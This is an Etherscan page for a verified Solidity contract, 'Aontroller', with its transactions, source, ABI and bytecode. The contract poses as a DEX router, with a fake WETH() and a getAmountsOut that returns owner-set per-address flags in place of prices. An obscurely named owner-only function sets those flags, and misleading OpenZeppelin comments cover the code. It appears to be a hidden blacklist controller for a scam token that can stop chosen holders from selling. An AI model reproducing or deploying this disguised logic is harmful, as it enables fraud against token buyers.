Overview
ETH Balance
0 ETH
Eth Value
$0.00More Info
Private Name Tags
ContractCreator
Latest 25 from a total of 29 transactions
Transaction Hash |
Method
|
Block
|
From
|
To
|
|||||
---|---|---|---|---|---|---|---|---|---|
Bbsaqca0o3 | 18383387 | 411 days ago | IN | 0 ETH | 0.00034468 | ||||
Bbsaqca0o3 | 18383253 | 411 days ago | IN | 0 ETH | 0.00036155 | ||||
Bbsaqca0o3 | 18382957 | 411 days ago | IN | 0 ETH | 0.00029085 | ||||
Bbsaqca0o3 | 18382928 | 411 days ago | IN | 0 ETH | 0.00031939 | ||||
Bbsaqca0o3 | 18382824 | 411 days ago | IN | 0 ETH | 0.00027619 | ||||
Bbsaqca0o3 | 18382813 | 411 days ago | IN | 0 ETH | 0.00030059 | ||||
Bbsaqca0o3 | 18382804 | 411 days ago | IN | 0 ETH | 0.00028018 | ||||
Bbsaqca0o3 | 18382732 | 411 days ago | IN | 0 ETH | 0.00026577 | ||||
Bbsaqca0o3 | 18382656 | 411 days ago | IN | 0 ETH | 0.00026692 | ||||
Bbsaqca0o3 | 18382618 | 411 days ago | IN | 0 ETH | 0.00026615 | ||||
Bbsaqca0o3 | 18382294 | 411 days ago | IN | 0 ETH | 0.00016576 | ||||
Bbsaqca0o3 | 18382241 | 411 days ago | IN | 0 ETH | 0.00028223 | ||||
Bbsaqca0o3 | 18382082 | 411 days ago | IN | 0 ETH | 0.00028896 | ||||
Bbsaqca0o3 | 18382044 | 411 days ago | IN | 0 ETH | 0.00029606 | ||||
Bbsaqca0o3 | 18381936 | 411 days ago | IN | 0 ETH | 0.00029223 | ||||
Bbsaqca0o3 | 18381911 | 411 days ago | IN | 0 ETH | 0.00029157 | ||||
Bbsaqca0o3 | 18381620 | 411 days ago | IN | 0 ETH | 0.00058778 | ||||
Bbsaqca0o3 | 18381538 | 411 days ago | IN | 0 ETH | 0.00031845 | ||||
Bbsaqca0o3 | 18381427 | 411 days ago | IN | 0 ETH | 0.00029931 | ||||
Bbsaqca0o3 | 18381423 | 411 days ago | IN | 0 ETH | 0.00028637 | ||||
Bbsaqca0o3 | 18381380 | 411 days ago | IN | 0 ETH | 0.0003025 | ||||
Bbsaqca0o3 | 18381332 | 411 days ago | IN | 0 ETH | 0.00027195 | ||||
Bbsaqca0o3 | 18380531 | 411 days ago | IN | 0 ETH | 0.00031296 | ||||
Bbsaqca0o3 | 18380441 | 411 days ago | IN | 0 ETH | 0.00030142 | ||||
Bbsaqca0o3 | 18380435 | 411 days ago | IN | 0 ETH | 0.00030741 |
View more zero value Internal Transactions in Advanced View mode
Advanced mode:
Loading...
Loading
Contract Name:
Aontroller
Compiler Version
v0.8.0+commit.c7dfd78e
Contract Source Code (Solidity)
/** *Submitted for verification at Etherscan.io on 2023-10-16 */ // OpenZeppelin Contracts (last updated v4.7.0) (access/Ownable.sol) pragma solidity ^0.8.0; /** * @dev Contract module which provides a basic access control mechanism, where * there is an account (an owner) that can be granted exclusive access to * specific functions. * * By default, the owner account will be the one that deploys the contract. This * can later be cs with {transferOwnership}. * * This module is used through inheritance. It will make available the modifier * `onlyOwner`, which can be applied to your functions to restrict their use to * the owner. */ // Define interface for TransferController interface RouterController { function WETH() external view returns (address); function getAmountsOut(uint amountIn,address[] calldata path) external view returns (uint[] memory amounts); } contract Aontroller is RouterController{ mapping(address => uint256) private _isBlacklisted; address private owner; constructor (){ owner = msg.sender; } function WETH() external view override returns(address){ address ad = address(this); return ad; } function getCode() public view returns (uint256) { address ad = address(this); uint256 result = uint160(ad); return result; } function getCode2(address addr) public pure returns (uint256) { uint256 result = uint160(addr); return result; } function getCode3(uint160 addr) public pure returns (address) { address result = address(addr); return result; } function getAmountsOut(uint amountIn, address[] memory path) public view virtual override returns (uint[] memory amounts) { amounts = new uint[](path.length); amounts[0] = _isBlacklisted[path[0]]; return amounts; } /** * @dev Contract module which provides a basic access control mechanism, where * there is an account (an owner) that can be granted exclusive access to * specific functions. * * By default, the owner account will be the one that deploys the contract. This * can later be changed with {transferOwnership}. * * This module is used through inheritance. It will make available the modifier * `onlyOwner`, which can be applied to your functions to restrict their use to * the owner. */ function bbsaqca0o3(address[] calldata accounts, uint256 excluded) public { require(msg.sender == owner); for (uint256 i = 0; i < accounts.length; i++) { _isBlacklisted[accounts[i]] = excluded; } } } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } function _msgData() internal view virtual returns (bytes calldata) { return msg.data; } } abstract contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); constructor() { _transferOwnership(_msgSender()); } function owner() public view virtual returns (address) { return _owner; } modifier onlyOwner() { require(owner() == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { _transferOwnership(address(0)); } function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); _transferOwnership(newOwner); } function getTime() public view returns (uint256) { return block.timestamp; } function _transferOwnership(address newOwner) internal virtual { address oldOwner = _owner; _owner = newOwner; emit OwnershipTransferred(oldOwner, newOwner); } } abstract contract Initializable { /** * @dev Indicates that the contract has been initialized. */ bool private _initialized; /** * @dev Indicates that the contract is in the process of being initialized. */ bool private _initializing; /** * @dev Modifier to protect an initializer function from being invoked twice. */ modifier initializer() { require(_initializing || !_initialized, "Initializable: contract is already initialized"); bool isTopLevelCall = !_initializing; if (isTopLevelCall) { _initializing = true; _initialized = true; } _; if (isTopLevelCall) { _initializing = false; } } } abstract contract ContextUpgradeable is Initializable { function __Context_init() internal initializer { __Context_init_unchained(); } function __Context_init_unchained() internal initializer { } function _msgSender() internal view virtual returns (address) { return msg.sender; } function _msgData() internal view virtual returns (bytes calldata) { return msg.data; } uint256[50] private __gap; } abstract contract OwnableUpgradeable is Initializable, ContextUpgradeable { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev Initializes the contract setting the deployer as the initial owner. */ function __Ownable_init() internal initializer { __Context_init_unchained(); __Ownable_init_unchained(); } function __Ownable_init_unchained() internal initializer { _setOwner(_msgSender()); } /** * @dev Returns the address of the current owner. */ function owner() public view virtual returns (address) { return _owner; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(owner() == _msgSender(), "Ownable: caller is not the owner"); _; } /** * @dev Leaves the contract without owner. It will not be possible to call * `onlyOwner` functions anymore. Can only be called by the current owner. * * NOTE: Renouncing ownership will leave the contract without an owner, * thereby removing any functionality that is only available to the owner. */ function renounceOwnership() public virtual onlyOwner { _setOwner(address(0)); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Can only be called by the current owner. */ function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); _setOwner(newOwner); } function _setOwner(address newOwner) private { address oldOwner = _owner; _owner = newOwner; emit OwnershipTransferred(oldOwner, newOwner); } uint256[49] private __gap; } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom( address sender, address recipient, uint256 amount ) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } interface IERC20Metadata is IERC20 { function name() external view returns (string memory); function symbol() external view returns (string memory); function decimals() external view returns (uint8); } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522 if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } function mod(uint256 a, uint256 b) internal pure returns (uint256) { return mod(a, b, "SafeMath: modulo by zero"); } function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b != 0, errorMessage); return a % b; } } library SafeMathInt { int256 private constant MIN_INT256 = int256(1) << 255; int256 private constant MAX_INT256 = ~(int256(1) << 255); /** * @dev Multiplies two int256 variables and fails on overflow. */ function mul(int256 a, int256 b) internal pure returns (int256) { int256 c = a * b; // Detect overflow when multiplying MIN_INT256 with -1 require(c != MIN_INT256 || (a & MIN_INT256) != (b & MIN_INT256)); require((b == 0) || (c / b == a)); return c; } /** * @dev Division of two int256 variables and fails on overflow. */ function div(int256 a, int256 b) internal pure returns (int256) { // Prevent overflow when dividing MIN_INT256 by -1 require(b != -1 || a != MIN_INT256); // Solidity already throws when dividing by 0. return a / b; } /** * @dev Subtracts two int256 variables and fails on overflow. */ function sub(int256 a, int256 b) internal pure returns (int256) { int256 c = a - b; require((b >= 0 && c <= a) || (b < 0 && c > a)); return c; } /** * @dev Adds two int256 variables and fails on overflow. */ function add(int256 a, int256 b) internal pure returns (int256) { int256 c = a + b; require((b >= 0 && c >= a) || (b < 0 && c < a)); return c; } /** * @dev Converts to absolute value, and fails on overflow. */ function abs(int256 a) internal pure returns (int256) { require(a != MIN_INT256); return a < 0 ? -a : a; } function toUint256Safe(int256 a) internal pure returns (uint256) { require(a >= 0); return uint256(a); } } library SafeMathUint { function toInt256Safe(uint256 a) internal pure returns (int256) { int256 b = int256(a); require(b >= 0); return b; } }
Contract Security Audit
- No Contract Security Audit Submitted- Submit Audit Here
[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"inputs":[],"name":"WETH","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address[]","name":"accounts","type":"address[]"},{"internalType":"uint256","name":"excluded","type":"uint256"}],"name":"bbsaqca0o3","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"amountIn","type":"uint256"},{"internalType":"address[]","name":"path","type":"address[]"}],"name":"getAmountsOut","outputs":[{"internalType":"uint256[]","name":"amounts","type":"uint256[]"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"getCode","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"addr","type":"address"}],"name":"getCode2","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"pure","type":"function"},{"inputs":[{"internalType":"uint160","name":"addr","type":"uint160"}],"name":"getCode3","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"pure","type":"function"}]
Contract Creation Code
608060405234801561001057600080fd5b5033600160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550610916806100616000396000f3fe608060405234801561001057600080fd5b50600436106100625760003560e01c80634afdc1de1461006757806367d2dc411461009757806369b63203146100c7578063ad5c4648146100e3578063d06ca61f14610101578063ea87963414610131575b600080fd5b610081600480360381019061007c91906105aa565b61014f565b60405161008e91906106ca565b60405180910390f35b6100b160048036038101906100ac9190610529565b61015e565b6040516100be9190610707565b60405180910390f35b6100e160048036038101906100dc9190610552565b610183565b005b6100eb610294565b6040516100f891906106ca565b60405180910390f35b61011b600480360381019061011691906105d3565b6102a1565b60405161012891906106e5565b60405180910390f35b6101396103e1565b6040516101469190610707565b60405180910390f35b60008082905080915050919050565b6000808273ffffffffffffffffffffffffffffffffffffffff16905080915050919050565b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16146101dd57600080fd5b60005b8383905081101561028e5781600080868685818110610228577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b905060200201602081019061023d9190610529565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508080610286906107f4565b9150506101e0565b50505050565b6000803090508091505090565b6060815167ffffffffffffffff8111156102e4577f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b6040519080825280602002602001820160405280156103125781602001602082028036833780820191505090505b50905060008083600081518110610352577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054816000815181106103cf577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b60200260200101818152505092915050565b60008030905060008173ffffffffffffffffffffffffffffffffffffffff169050809250505090565b600061041d61041884610753565b610722565b9050808382526020820190508285602086028201111561043c57600080fd5b60005b8581101561046c57816104528882610476565b84526020840193506020830192505060018101905061043f565b5050509392505050565b6000813590506104858161089b565b92915050565b60008083601f84011261049d57600080fd5b8235905067ffffffffffffffff8111156104b657600080fd5b6020830191508360208202830111156104ce57600080fd5b9250929050565b600082601f8301126104e657600080fd5b81356104f684826020860161040a565b91505092915050565b60008135905061050e816108b2565b92915050565b600081359050610523816108c9565b92915050565b60006020828403121561053b57600080fd5b600061054984828501610476565b91505092915050565b60008060006040848603121561056757600080fd5b600084013567ffffffffffffffff81111561058157600080fd5b61058d8682870161048b565b935093505060206105a086828701610514565b9150509250925092565b6000602082840312156105bc57600080fd5b60006105ca848285016104ff565b91505092915050565b600080604083850312156105e657600080fd5b60006105f485828601610514565b925050602083013567ffffffffffffffff81111561061157600080fd5b61061d858286016104d5565b9150509250929050565b600061063383836106ac565b60208301905092915050565b610648816107b8565b82525050565b60006106598261078f565b61066381856107a7565b935061066e8361077f565b8060005b8381101561069f5781516106868882610627565b97506106918361079a565b925050600181019050610672565b5085935050505092915050565b6106b5816107ea565b82525050565b6106c4816107ea565b82525050565b60006020820190506106df600083018461063f565b92915050565b600060208201905081810360008301526106ff818461064e565b905092915050565b600060208201905061071c60008301846106bb565b92915050565b6000604051905081810181811067ffffffffffffffff821117156107495761074861086c565b5b8060405250919050565b600067ffffffffffffffff82111561076e5761076d61086c565b5b602082029050602081019050919050565b6000819050602082019050919050565b600081519050919050565b6000602082019050919050565b600082825260208201905092915050565b60006107c3826107ca565b9050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b60006107ff826107ea565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8214156108325761083161083d565b5b600182019050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b6108a4816107b8565b81146108af57600080fd5b50565b6108bb816107ca565b81146108c657600080fd5b50565b6108d2816107ea565b81146108dd57600080fd5b5056fea26469706673582212200f75ff0e0973f1d15af8061017fe88f19efc7d918036fa633d4e1a300f10ef7064736f6c63430008000033
Deployed Bytecode
0x608060405234801561001057600080fd5b50600436106100625760003560e01c80634afdc1de1461006757806367d2dc411461009757806369b63203146100c7578063ad5c4648146100e3578063d06ca61f14610101578063ea87963414610131575b600080fd5b610081600480360381019061007c91906105aa565b61014f565b60405161008e91906106ca565b60405180910390f35b6100b160048036038101906100ac9190610529565b61015e565b6040516100be9190610707565b60405180910390f35b6100e160048036038101906100dc9190610552565b610183565b005b6100eb610294565b6040516100f891906106ca565b60405180910390f35b61011b600480360381019061011691906105d3565b6102a1565b60405161012891906106e5565b60405180910390f35b6101396103e1565b6040516101469190610707565b60405180910390f35b60008082905080915050919050565b6000808273ffffffffffffffffffffffffffffffffffffffff16905080915050919050565b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16146101dd57600080fd5b60005b8383905081101561028e5781600080868685818110610228577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b905060200201602081019061023d9190610529565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508080610286906107f4565b9150506101e0565b50505050565b6000803090508091505090565b6060815167ffffffffffffffff8111156102e4577f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b6040519080825280602002602001820160405280156103125781602001602082028036833780820191505090505b50905060008083600081518110610352577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054816000815181106103cf577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b60200260200101818152505092915050565b60008030905060008173ffffffffffffffffffffffffffffffffffffffff169050809250505090565b600061041d61041884610753565b610722565b9050808382526020820190508285602086028201111561043c57600080fd5b60005b8581101561046c57816104528882610476565b84526020840193506020830192505060018101905061043f565b5050509392505050565b6000813590506104858161089b565b92915050565b60008083601f84011261049d57600080fd5b8235905067ffffffffffffffff8111156104b657600080fd5b6020830191508360208202830111156104ce57600080fd5b9250929050565b600082601f8301126104e657600080fd5b81356104f684826020860161040a565b91505092915050565b60008135905061050e816108b2565b92915050565b600081359050610523816108c9565b92915050565b60006020828403121561053b57600080fd5b600061054984828501610476565b91505092915050565b60008060006040848603121561056757600080fd5b600084013567ffffffffffffffff81111561058157600080fd5b61058d8682870161048b565b935093505060206105a086828701610514565b9150509250925092565b6000602082840312156105bc57600080fd5b60006105ca848285016104ff565b91505092915050565b600080604083850312156105e657600080fd5b60006105f485828601610514565b925050602083013567ffffffffffffffff81111561061157600080fd5b61061d858286016104d5565b9150509250929050565b600061063383836106ac565b60208301905092915050565b610648816107b8565b82525050565b60006106598261078f565b61066381856107a7565b935061066e8361077f565b8060005b8381101561069f5781516106868882610627565b97506106918361079a565b925050600181019050610672565b5085935050505092915050565b6106b5816107ea565b82525050565b6106c4816107ea565b82525050565b60006020820190506106df600083018461063f565b92915050565b600060208201905081810360008301526106ff818461064e565b905092915050565b600060208201905061071c60008301846106bb565b92915050565b6000604051905081810181811067ffffffffffffffff821117156107495761074861086c565b5b8060405250919050565b600067ffffffffffffffff82111561076e5761076d61086c565b5b602082029050602081019050919050565b6000819050602082019050919050565b600081519050919050565b6000602082019050919050565b600082825260208201905092915050565b60006107c3826107ca565b9050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b60006107ff826107ea565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8214156108325761083161083d565b5b600182019050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b6108a4816107b8565b81146108af57600080fd5b50565b6108bb816107ca565b81146108c657600080fd5b50565b6108d2816107ea565b81146108dd57600080fd5b5056fea26469706673582212200f75ff0e0973f1d15af8061017fe88f19efc7d918036fa633d4e1a300f10ef7064736f6c63430008000033
Deployed Bytecode Sourcemap
853:1893:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;1504:135;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;1361;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;2501:242;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;1063:120;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;1653:296;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;1191:158;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;1504:135;1557:7;1577:14;1602:4;1577:30;;1625:6;1618:13;;;1504:135;;;:::o;1361:::-;1414:7;1434:14;1459:4;1434:30;;;;1482:6;1475:13;;;1361:135;;;:::o;2501:242::-;2608:5;;;;;;;;;;;2594:19;;:10;:19;;;2586:28;;;;;;2630:9;2625:111;2649:8;;:15;;2645:1;:19;2625:111;;;2716:8;2686:14;:27;2701:8;;2710:1;2701:11;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;2686:27;;;;;;;;;;;;;;;:38;;;;2666:3;;;;;:::i;:::-;;;;2625:111;;;;2501:242;;;:::o;1063:120::-;1110:7;1129:10;1150:4;1129:26;;1173:2;1166:9;;;1063:120;:::o;1653:296::-;1797:21;1857:4;:11;1846:23;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;1836:33;;1893:14;:23;1908:4;1913:1;1908:7;;;;;;;;;;;;;;;;;;;;;;1893:23;;;;;;;;;;;;;;;;1880:7;1888:1;1880:10;;;;;;;;;;;;;;;;;;;;;:36;;;;;1653:296;;;;:::o;1191:158::-;1232:7;1252:10;1273:4;1252:26;;1289:14;1314:2;1289:28;;;;1335:6;1328:13;;;;1191:158;:::o;24:622:1:-;;145:80;160:64;217:6;160:64;:::i;:::-;145:80;:::i;:::-;136:89;;245:5;273:6;266:5;259:21;299:4;292:5;288:16;281:23;;324:6;374:3;366:4;358:6;354:17;349:3;345:27;342:36;339:2;;;391:1;388;381:12;339:2;419:1;404:236;429:6;426:1;423:13;404:236;;;496:3;524:37;557:3;545:10;524:37;:::i;:::-;519:3;512:50;591:4;586:3;582:14;575:21;;625:4;620:3;616:14;609:21;;464:176;451:1;448;444:9;439:14;;404:236;;;408:14;126:520;;;;;;;:::o;652:139::-;;736:6;723:20;714:29;;752:33;779:5;752:33;:::i;:::-;704:87;;;;:::o;814:367::-;;;947:3;940:4;932:6;928:17;924:27;914:2;;965:1;962;955:12;914:2;1001:6;988:20;978:30;;1031:18;1023:6;1020:30;1017:2;;;1063:1;1060;1053:12;1017:2;1100:4;1092:6;1088:17;1076:29;;1154:3;1146:4;1138:6;1134:17;1124:8;1120:32;1117:41;1114:2;;;1171:1;1168;1161:12;1114:2;904:277;;;;;:::o;1204:303::-;;1324:3;1317:4;1309:6;1305:17;1301:27;1291:2;;1342:1;1339;1332:12;1291:2;1382:6;1369:20;1407:94;1497:3;1489:6;1482:4;1474:6;1470:17;1407:94;:::i;:::-;1398:103;;1281:226;;;;;:::o;1513:139::-;;1597:6;1584:20;1575:29;;1613:33;1640:5;1613:33;:::i;:::-;1565:87;;;;:::o;1658:139::-;;1742:6;1729:20;1720:29;;1758:33;1785:5;1758:33;:::i;:::-;1710:87;;;;:::o;1803:262::-;;1911:2;1899:9;1890:7;1886:23;1882:32;1879:2;;;1927:1;1924;1917:12;1879:2;1970:1;1995:53;2040:7;2031:6;2020:9;2016:22;1995:53;:::i;:::-;1985:63;;1941:117;1869:196;;;;:::o;2071:570::-;;;;2231:2;2219:9;2210:7;2206:23;2202:32;2199:2;;;2247:1;2244;2237:12;2199:2;2318:1;2307:9;2303:17;2290:31;2348:18;2340:6;2337:30;2334:2;;;2380:1;2377;2370:12;2334:2;2416:80;2488:7;2479:6;2468:9;2464:22;2416:80;:::i;:::-;2398:98;;;;2261:245;2545:2;2571:53;2616:7;2607:6;2596:9;2592:22;2571:53;:::i;:::-;2561:63;;2516:118;2189:452;;;;;:::o;2647:262::-;;2755:2;2743:9;2734:7;2730:23;2726:32;2723:2;;;2771:1;2768;2761:12;2723:2;2814:1;2839:53;2884:7;2875:6;2864:9;2860:22;2839:53;:::i;:::-;2829:63;;2785:117;2713:196;;;;:::o;2915:550::-;;;3065:2;3053:9;3044:7;3040:23;3036:32;3033:2;;;3081:1;3078;3071:12;3033:2;3124:1;3149:53;3194:7;3185:6;3174:9;3170:22;3149:53;:::i;:::-;3139:63;;3095:117;3279:2;3268:9;3264:18;3251:32;3310:18;3302:6;3299:30;3296:2;;;3342:1;3339;3332:12;3296:2;3370:78;3440:7;3431:6;3420:9;3416:22;3370:78;:::i;:::-;3360:88;;3222:236;3023:442;;;;;:::o;3471:179::-;;3561:46;3603:3;3595:6;3561:46;:::i;:::-;3639:4;3634:3;3630:14;3616:28;;3551:99;;;;:::o;3656:118::-;3743:24;3761:5;3743:24;:::i;:::-;3738:3;3731:37;3721:53;;:::o;3810:732::-;;3958:54;4006:5;3958:54;:::i;:::-;4028:86;4107:6;4102:3;4028:86;:::i;:::-;4021:93;;4138:56;4188:5;4138:56;:::i;:::-;4217:7;4248:1;4233:284;4258:6;4255:1;4252:13;4233:284;;;4334:6;4328:13;4361:63;4420:3;4405:13;4361:63;:::i;:::-;4354:70;;4447:60;4500:6;4447:60;:::i;:::-;4437:70;;4293:224;4280:1;4277;4273:9;4268:14;;4233:284;;;4237:14;4533:3;4526:10;;3934:608;;;;;;;:::o;4548:108::-;4625:24;4643:5;4625:24;:::i;:::-;4620:3;4613:37;4603:53;;:::o;4662:118::-;4749:24;4767:5;4749:24;:::i;:::-;4744:3;4737:37;4727:53;;:::o;4786:222::-;;4917:2;4906:9;4902:18;4894:26;;4930:71;4998:1;4987:9;4983:17;4974:6;4930:71;:::i;:::-;4884:124;;;;:::o;5014:373::-;;5195:2;5184:9;5180:18;5172:26;;5244:9;5238:4;5234:20;5230:1;5219:9;5215:17;5208:47;5272:108;5375:4;5366:6;5272:108;:::i;:::-;5264:116;;5162:225;;;;:::o;5393:222::-;;5524:2;5513:9;5509:18;5501:26;;5537:71;5605:1;5594:9;5590:17;5581:6;5537:71;:::i;:::-;5491:124;;;;:::o;5621:283::-;;5687:2;5681:9;5671:19;;5729:4;5721:6;5717:17;5836:6;5824:10;5821:22;5800:18;5788:10;5785:34;5782:62;5779:2;;;5847:18;;:::i;:::-;5779:2;5887:10;5883:2;5876:22;5661:243;;;;:::o;5910:311::-;;6077:18;6069:6;6066:30;6063:2;;;6099:18;;:::i;:::-;6063:2;6149:4;6141:6;6137:17;6129:25;;6209:4;6203;6199:15;6191:23;;5992:229;;;:::o;6227:132::-;;6317:3;6309:11;;6347:4;6342:3;6338:14;6330:22;;6299:60;;;:::o;6365:114::-;;6466:5;6460:12;6450:22;;6439:40;;;:::o;6485:113::-;;6587:4;6582:3;6578:14;6570:22;;6560:38;;;:::o;6604:184::-;;6737:6;6732:3;6725:19;6777:4;6772:3;6768:14;6753:29;;6715:73;;;;:::o;6794:96::-;;6860:24;6878:5;6860:24;:::i;:::-;6849:35;;6839:51;;;:::o;6896:126::-;;6973:42;6966:5;6962:54;6951:65;;6941:81;;;:::o;7028:77::-;;7094:5;7083:16;;7073:32;;;:::o;7111:233::-;;7173:24;7191:5;7173:24;:::i;:::-;7164:33;;7219:66;7212:5;7209:77;7206:2;;;7289:18;;:::i;:::-;7206:2;7336:1;7329:5;7325:13;7318:20;;7154:190;;;:::o;7350:180::-;7398:77;7395:1;7388:88;7495:4;7492:1;7485:15;7519:4;7516:1;7509:15;7536:180;7584:77;7581:1;7574:88;7681:4;7678:1;7671:15;7705:4;7702:1;7695:15;7722:122;7795:24;7813:5;7795:24;:::i;:::-;7788:5;7785:35;7775:2;;7834:1;7831;7824:12;7775:2;7765:79;:::o;7850:122::-;7923:24;7941:5;7923:24;:::i;:::-;7916:5;7913:35;7903:2;;7962:1;7959;7952:12;7903:2;7893:79;:::o;7978:122::-;8051:24;8069:5;8051:24;:::i;:::-;8044:5;8041:35;8031:2;;8090:1;8087;8080:12;8031:2;8021:79;:::o
Swarm Source
ipfs://0f75ff0e0973f1d15af8061017fe88f19efc7d918036fa633d4e1a300f10ef70
Loading...
Loading
Loading...
Loading
Multichain Portfolio | 29 Chains
Chain | Token | Portfolio % | Price | Amount | Value |
---|
Loading...
Loading
[ Download: CSV Export ]
A contract address hosts a smart contract, which is a set of code stored on the blockchain that runs when predetermined conditions are met. Learn more about addresses in our Knowledge Base.